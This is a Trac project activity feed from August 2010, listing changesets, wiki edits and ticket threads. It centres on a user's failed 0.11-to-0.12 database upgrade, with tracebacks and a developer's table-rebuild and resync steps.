12:11 InsideTrac: Trac - Ticket #9591 (ImportError: libsvn_ra_neon-1.so.0: undefined symbol) updated by DimeDroll <dimdroll@…>: yes, that resolves my problem, thank you very much for your answer. one only notice, there is no column repos in both tables. but, also this lead me to new problem: <pre class="wiki">2010-08-31 11:40:48,677 Trac[svn_fs] INFO: Failed to load Subversion bindings Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/versioncontrol/svn_fs.py", line 265, in __init__ _import_svn() File "build/bdist.linux-i686/egg/trac/versioncontrol/svn_fs.py", line 68, in _import_svn from svn import fs, repos, core, delta File "/usr/local/lib/svn-python/svn/fs.py", line 19, in <module> from libsvn.fs import * File "/usr/local/lib/svn-python/libsvn/fs.py", line 7, in <module> import _fs ImportError: /usr/local/lib/libsvn_ra_neon-1.so.0: undefined symbol: X509_verify_cert_error_string </pre> Looks like there is something wrong with neon or mod_dav_fs? should i have mod_dav_fs enabled? should i create new ticket? thank you. Best regards, Dmitriy
12:11 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) updated by DimeDroll <dimdroll@…>: yes, that resolves my problem, thank you very much for your answer. one only notice, there is no column repos in both tables. but, also this lead me to new problem: <pre class="wiki">2010-08-31 11:40:48,677 Trac[svn_fs] INFO: Failed to load Subversion bindings Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/versioncontrol/svn_fs.py", line 265, in __init__ _import_svn() File "build/bdist.linux-i686/egg/trac/versioncontrol/svn_fs.py", line 68, in _import_svn from svn import fs, repos, core, delta File "/usr/local/lib/svn-python/svn/fs.py", line 19, in <module> from libsvn.fs import * File "/usr/local/lib/svn-python/libsvn/fs.py", line 7, in <module> import _fs ImportError: /usr/local/lib/libsvn_ra_neon-1.so.0: undefined symbol: X509_verify_cert_error_string </pre> Looks like there is something wrong with neon or mod_dav_fs? should i have mod_dav_fs enabled? should i create new ticket? thank you. Best regards, Dmitriy
11:35 InsideTrac: Trac - SeaChange/WhatUsersWant edited by iomega@…: add voice for <a class="missing wiki" href="http://trac.edgewall.org/wiki/SeaChange/GitPlugin" rel="nofollow">GitPlugin?</a> (<a href="http://trac.edgewall.org/wiki/SeaChange/WhatUsersWant?action=diff&version=143">diff</a>)
09:53 InsideTrac: Trac - mda073 missil sistema.doc attached to TracSubversion by anonymous: moscou
04:55 InsideTrac: Trac - Ticket #6369 (Allow milestones to be set to a specific time) updated by Ryan J Ollos <ryano@…>: Just to let you know this is high on my priority list and I should have a first cut at a patch ready by Wednesday or so (and for <a class="new ticket" href="http://trac.edgewall.org/ticket/9581" title="enhancement: Documentation page for TracIni should list or have reference to allowed ... (new)">#9581</a> as well).

08/30/10:

17:38 InsideTrac: Trac - Ticket #9371 (tracd --basic-auth doesn't work for SHA passwords) updated by rblank: Owner changed
17:38 InsideTrac: Trac - Ticket #9371 (tracd --basic-auth doesn't work for SHA passwords) closed by rblank: fixed: Perfect patch, applied in <a class="changeset" href="http://trac.edgewall.org/changeset/10028" title="0.13dev: Added support for SHA password hashes with `--basic-auth`. Patch ...">[10028]</a>. Thanks!
17:37 InsideTrac: Trac - Changeset [10028]: 0.13dev: Added support for SHA password hashes with `--basic-auth`. Patch ... by rblank: 0.13dev: Added support for SHA password hashes with <tt>--basic-auth</tt>. Patch by Jun Omae. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9371" title="enhancement: tracd --basic-auth doesn't work for SHA passwords (closed: fixed)">#9371</a>.
17:13 InsideTrac: Trac - Ticket #7768 (add_script & add_stylesheet don't support external scripts) closed by rblank: fixed: ... well, not quite good :) Your patch doesn't define <tt>href</tt> in the "absolute URL" case. I have applied an improved version in <a class="changeset" href="http://trac.edgewall.org/changeset/10027" title="0.13dev: Allow passing absolute URLs to `add_script()` and ...">[10027]</a>, together with updated unit tests that check the correct behavior. Mark, I hope you don't mind if I give you some advice for you next patches: <ul><li>Always run the <a class="wiki" href="http://trac.edgewall.org/wiki/TracDev/UnitTests">unit tests</a> and <a class="wiki" href="http://trac.edgewall.org/wiki/TracDev/FunctionalTests">functional tests</a> before posting your patch. This should catch most of the more obvious errors. </li><li>If possible, add one or more unit tests (or modify existing tests) to check for the correctness of your changes. </li><li>Always create your patches from the project root, so that full paths are recorded. This makes it simpler for the reviewer to apply them. </li></ul> But most importantly: keep up the good work!
17:06 InsideTrac: Trac - Changeset [10027]: 0.13dev: Allow passing absolute URLs to `add_script()` and ... by rblank: 0.13dev: Allow passing absolute URLs to <tt>add_script()</tt> and <tt>add_stylesheet()</tt>. Initial patch by Mark Mc Mahon. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/7768" title="defect: add_script & add_stylesheet don't support external scripts (closed: fixed)">#7768</a>.
17:06 InsideTrac: Trac - Changeset [10027]: 0.13dev: Allow passing absolute URLs to `add_script()` and ... by rblank: 0.13dev: Allow passing absolute URLs to <tt>add_script()</tt> and <tt>add_stylesheet()</tt>. Initial patch by Mark Mc Mahon. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/7768" title="defect: add_script & add_stylesheet don't support external scripts (new)">#7768</a>.
16:46 InsideTrac: Trac - TracSubversion edited by sahendrickson@…: Wrapped the WSGIApplicationGroup within Location tags. Perhaps obvious, but I had placed it in the wrong location and gotten the error. (<a href="http://trac.edgewall.org/wiki/TracSubversion?action=diff&version=83">diff</a>)
16:46 InsideTrac: Trac - Ticket #9591 (ImportError: libsvn_ra_neon-1.so.0: undefined symbol) updated by rblank: Something went thoroughly wrong here, it seems your <tt>revision</tt> table had duplicate rows for a given revision. The follow-up errors are due to the aborted upgrade, as table creation and destruction are not transaction-safe. How this can happen is mysterious, as the <tt>rev</tt> column is the primary key of the <tt>revision</tt> table. Ideally, you should restore your database to the state prior to the upgrade, then remove the duplicate rows from the <tt>revision</tt> table (that is, find the rows that have the same <tt>rev</tt> value and leave only one of them), and finally re-try the upgrade. If that's not possible, it gets tricky. The good news is, there's nothing "important" in these tables that can't be restored from the repository. However, getting back to a consistent state is... tedious. Make sure you have a backup now. <ul><li>First, remove all repository-related tables and temporary tables: <div class="code"><pre>DROP TABLE repository; DROP TABLE revision; DROP TABLE node_change; DROP TABLE rev_old; DROP TABLE nc_old; </pre></div></li><li>Then, re-create empty <tt>revision</tt> and <tt>node_change</tt> tables: <div class="code"><pre>CREATE TABLE revision ( rev text, time integer, author text, message text, UNIQUE (repos,rev) ); CREATE INDEX revision_repos_time_idx ON revision (repos,time); CREATE TABLE node_change ( rev text, path text, node_type text, change_type text, base_path text, base_rev text, UNIQUE (repos,rev,path,change_type) ); CREATE INDEX node_change_repos_rev_idx ON node_change (repos,rev); </pre></div></li><li>At that point, you should be able to proceed with the upgrade: <pre class="wiki">trac-admin /services/trac-svn upgrade </pre></li><li>Finally, resync your repository: <pre class="wiki">trac-admin /services/trac-svn repository resync "" </pre></li></ul> This should get up up and running again.
16:46 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) updated by rblank: Something went thoroughly wrong here, it seems your <tt>revision</tt> table had duplicate rows for a given revision. The follow-up errors are due to the aborted upgrade, as table creation and destruction are not transaction-safe. How this can happen is mysterious, as the <tt>rev</tt> column is the primary key of the <tt>revision</tt> table. Ideally, you should restore your database to the state prior to the upgrade, then remove the duplicate rows from the <tt>revision</tt> table (that is, find the rows that have the same <tt>rev</tt> value and leave only one of them), and finally re-try the upgrade. If that's not possible, it gets tricky. The good news is, there's nothing "important" in these tables that can't be restored from the repository. However, getting back to a consistent state is... tedious. Make sure you have a backup now. <ul><li>First, remove all repository-related tables and temporary tables: <div class="code"><pre>DROP TABLE repository; DROP TABLE revision; DROP TABLE node_change; DROP TABLE rev_old; DROP TABLE nc_old; </pre></div></li><li>Then, re-create empty <tt>revision</tt> and <tt>node_change</tt> tables: <div class="code"><pre>CREATE TABLE revision ( rev text, time integer, author text, message text, UNIQUE (repos,rev) ); CREATE INDEX revision_repos_time_idx ON revision (repos,time); CREATE TABLE node_change ( rev text, path text, node_type text, change_type text, base_path text, base_rev text, UNIQUE (repos,rev,path,change_type) ); CREATE INDEX node_change_repos_rev_idx ON node_change (repos,rev); </pre></div></li><li>At that point, you should be able to proceed with the upgrade: <pre class="wiki">trac-admin /services/trac-svn upgrade </pre></li><li>Finally, resync your repository: <pre class="wiki">trac-admin /services/trac-svn repository resync "" </pre></li></ul> This should get up up and running again.
16:04 InsideTrac: Trac - Ticket #9591 (ImportError: libsvn_ra_neon-1.so.0: undefined symbol) updated by DimeDroll <dimdroll@…>: Summary changed
16:04 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) updated by DimeDroll <dimdroll@…>: Summary changed
15:59 InsideTrac: Trac - Ticket #9591 (Error: unsupported locale setting) created by dimdroll@…: After upgrading from the version 0.11 to version 0.12 i`m receiving error when im trying to open trac url: <pre class="wiki">Available Projects * trac-svn: Error (The Trac Environment needs to be upgraded. Run "trac-admin /services/trac-svn upgrade") </pre> When im trying to make trac-admin /services/trac-svn upgrade i`m receiving the following error: <pre class="wiki">2010-08-30 15:11:08,990 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:11:08,992 Trac[env] INFO: Trac database schema version is 21, should be 26 2010-08-30 15:11:09,153 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:11:09,885 Trac[env] INFO: Upgraded database version from 21 to 22 2010-08-30 15:11:12,863 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 38, in do_upgrade cursor.execute("INSERT INTO revision (repos,rev,time,author,message) " File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) IntegrityError: columns repos, rev are not unique </pre><table class="wiki"> <tr><td>Trac</td><td>0.12 </td></tr><tr><td>setuptools</td><td>0.6c8 </td></tr><tr><td>Genshi</td><td>0.6 </td></tr><tr><td>mod_wsgi</td><td>3.3 </td></tr><tr><td>pysqlite</td><td>2.4.1 </td></tr><tr><td>Pygments</td><td>0.9 </td></tr><tr><td>Python</td><td>2.5.5 </td></tr><tr><td>sqlite</td><td>3.5.7 </td></tr><tr><td>subversion</td><td>1.6.12 </td></tr></table> trac configured as standalone server(before upgrade it was launched under apache 2.2.8). if will try to upgrade svn db again i will receive this: <pre class="wiki">2010-08-30 15:54:40,310 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:54:40,311 Trac[env] INFO: Trac database schema version is 22, should be 26 2010-08-30 15:54:40,468 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:54:41,270 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 36, in do_upgrade cursor.execute(stmt) File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) OperationalError: table repository already exists </pre> and if i will run it one more time: <pre class="wiki">2010-08-30 15:55:36,080 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:55:36,081 Trac[env] INFO: Trac database schema version is 22, should be 26 2010-08-30 15:55:36,260 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:55:36,265 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 5, in do_upgrade cursor.execute("CREATE TEMPORARY TABLE rev_old " File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) OperationalError: no such table: revision </pre>
15:59 InsideTrac: Trac - Ticket #9591 (ImportError: libsvn_ra_neon-1.so.0: undefined symbol) created by dimdroll@…: After upgrading from the version 0.11 to version 0.12 i`m receiving error when im trying to open trac url: <pre class="wiki">Available Projects * trac-svn: Error (The Trac Environment needs to be upgraded. Run "trac-admin /services/trac-svn upgrade") </pre> When im trying to make trac-admin /services/trac-svn upgrade i`m receiving the following error: <pre class="wiki">2010-08-30 15:11:08,990 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:11:08,992 Trac[env] INFO: Trac database schema version is 21, should be 26 2010-08-30 15:11:09,153 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:11:09,885 Trac[env] INFO: Upgraded database version from 21 to 22 2010-08-30 15:11:12,863 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 38, in do_upgrade cursor.execute("INSERT INTO revision (repos,rev,time,author,message) " File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) IntegrityError: columns repos, rev are not unique </pre><table class="wiki"> <tr><td>Trac</td><td>0.12 </td></tr><tr><td>setuptools</td><td>0.6c8 </td></tr><tr><td>Genshi</td><td>0.6 </td></tr><tr><td>mod_wsgi</td><td>3.3 </td></tr><tr><td>pysqlite</td><td>2.4.1 </td></tr><tr><td>Pygments</td><td>0.9 </td></tr><tr><td>Python</td><td>2.5.5 </td></tr><tr><td>sqlite</td><td>3.5.7 </td></tr><tr><td>subversion</td><td>1.6.12 </td></tr></table> trac configured as standalone server(before upgrade it was launched under apache 2.2.8). if will try to upgrade svn db again i will receive this: <pre class="wiki">2010-08-30 15:54:40,310 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:54:40,311 Trac[env] INFO: Trac database schema version is 22, should be 26 2010-08-30 15:54:40,468 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:54:41,270 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 36, in do_upgrade cursor.execute(stmt) File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) OperationalError: table repository already exists </pre> and if i will run it one more time: <pre class="wiki">2010-08-30 15:55:36,080 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:55:36,081 Trac[env] INFO: Trac database schema version is 22, should be 26 2010-08-30 15:55:36,260 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:55:36,265 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 5, in do_upgrade cursor.execute("CREATE TEMPORARY TABLE rev_old " File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) OperationalError: no such table: revision </pre>
15:59 InsideTrac: Trac - Ticket #9591 (OperationalError: no such table: revision) created by dimdroll@…: After upgrading from the version 0.11 to version 0.12 i`m receiving error when im trying to open trac url: <pre class="wiki">Available Projects * trac-svn: Error (The Trac Environment needs to be upgraded. Run "trac-admin /services/trac-svn upgrade") </pre> When im trying to make trac-admin /services/trac-svn upgrade i`m receiving the following error: <pre class="wiki">2010-08-30 15:11:08,990 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:11:08,992 Trac[env] INFO: Trac database schema version is 21, should be 26 2010-08-30 15:11:09,153 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:11:09,885 Trac[env] INFO: Upgraded database version from 21 to 22 2010-08-30 15:11:12,863 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 38, in do_upgrade cursor.execute("INSERT INTO revision (repos,rev,time,author,message) " File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) IntegrityError: columns repos, rev are not unique </pre><table class="wiki"> <tr><td>Trac</td><td>0.12 </td></tr><tr><td>setuptools</td><td>0.6c8 </td></tr><tr><td>Genshi</td><td>0.6 </td></tr><tr><td>mod_wsgi</td><td>3.3 </td></tr><tr><td>pysqlite</td><td>2.4.1 </td></tr><tr><td>Pygments</td><td>0.9 </td></tr><tr><td>Python</td><td>2.5.5 </td></tr><tr><td>sqlite</td><td>3.5.7 </td></tr><tr><td>subversion</td><td>1.6.12 </td></tr></table> trac configured as standalone server(before upgrade it was launched under apache 2.2.8). if will try to upgrade svn db again i will receive this: <pre class="wiki">2010-08-30 15:54:40,310 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:54:40,311 Trac[env] INFO: Trac database schema version is 22, should be 26 2010-08-30 15:54:40,468 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:54:41,270 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 36, in do_upgrade cursor.execute(stmt) File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) OperationalError: table repository already exists </pre> and if i will run it one more time: <pre class="wiki">2010-08-30 15:55:36,080 Trac[env] WARNING: Component <trac.env.EnvironmentSetup object at 0x4094eaac> requires environment upgrade 2010-08-30 15:55:36,081 Trac[env] INFO: Trac database schema version is 22, should be 26 2010-08-30 15:55:36,260 Trac[env] INFO: trac.env.EnvironmentSetup upgrading... 2010-08-30 15:55:36,265 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "build/bdist.linux-i686/egg/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/local/lib/python2.5/cmd.py", line 218, in onecmd return self.default(line) File "build/bdist.linux-i686/egg/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "build/bdist.linux-i686/egg/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "build/bdist.linux-i686/egg/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "build/bdist.linux-i686/egg/trac/env.py", line 533, in upgrade with_transaction(self)(participant.upgrade_environment) File "build/bdist.linux-i686/egg/trac/db/api.py", line 77, in transaction_wrapper fn(ldb) File "build/bdist.linux-i686/egg/trac/env.py", line 601, in upgrade_environment script.do_upgrade(self.env, i, cursor) File "build/bdist.linux-i686/egg/trac/upgrades/db23.py", line 5, in do_upgrade cursor.execute("CREATE TEMPORARY TABLE rev_old " File "build/bdist.linux-i686/egg/trac/db/util.py", line 66, in execute return self.cursor.execute(sql) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 78, in execute result = PyFormatCursor.execute(self, *args) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 56, in execute args or []) File "build/bdist.linux-i686/egg/trac/db/sqlite_backend.py", line 48, in _rollback_on_error return function(self, *args, **kwargs) OperationalError: no such table: revision </pre>
15:43 InsideTrac: Trac - Changeset [10026]: 0.13dev: Cosmetic fix. by rblank: 0.13dev: Cosmetic fix.
15:42 InsideTrac: Trac - Ticket #7124 (TitleIndex (optionally) does not show pages shipped with Trac) updated by rblank: Owner changed
15:41 InsideTrac: Trac - Ticket #7124 (TitleIndex (optionally) does not show pages shipped with Trac) closed by rblank: fixed: Simplified patch committed in <a class="changeset" href="http://trac.edgewall.org/changeset/10025" title="0.13dev: Added `include` and `exclude` arguments to the `[[TitleIndex]]` ...">[10025]</a>. The changes were the following: <ul><li>Changed the semantics so that a missing <tt>include</tt> argument means "all pages", and <tt>exclude</tt> takes precedence over <tt>include</tt>. This is consistent with the examples in <a href="http://trac.edgewall.org/ticket/7124#comment:7" title="Comment 7 for Ticket #7124">comment:7</a>. </li><li>The case-sensitiveness of the <tt>fnmatch.filter()</tt> function depends on the OS, so two tests were failing here (on Linux). I used <tt>fnmatchcase()</tt> instead, which is always case-sensitive. </li><li>Made the filtering use a more "functional" style. </li></ul>
15:36 InsideTrac: Trac - Changeset [10025]: 0.13dev: Added `include` and `exclude` arguments to the `[[TitleIndex]]` ... by rblank: 0.13dev: Added <tt>include</tt> and <tt>exclude</tt> arguments to the <tt>[[TitleIndex]]</tt> macro to allow selecting pages using shell-style patterns. Initial patch by Mark Mc Mahon. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/7124" title="enhancement: TitleIndex (optionally) does not show pages shipped with Trac (closed: fixed)">#7124</a>.
15:09 InsideTrac: Trac - GenericTrac edited by anonymous: don't make the same mistake as magento - EAV and friends cause only trouble!! (<a href="http://trac.edgewall.org/wiki/GenericTrac?action=diff&version=38">diff</a>)
09:26 InsideTrac: Trac - Ticket #9590 (Display of Patch/Diff file broken) updated by rblank: Strangely, the patch from the <tt>.zip</tt> seems to be displayed correctly...
09:25 InsideTrac: Trac - 14726.patch attached to Ticket #9590 by rblank: Unpacked patch.
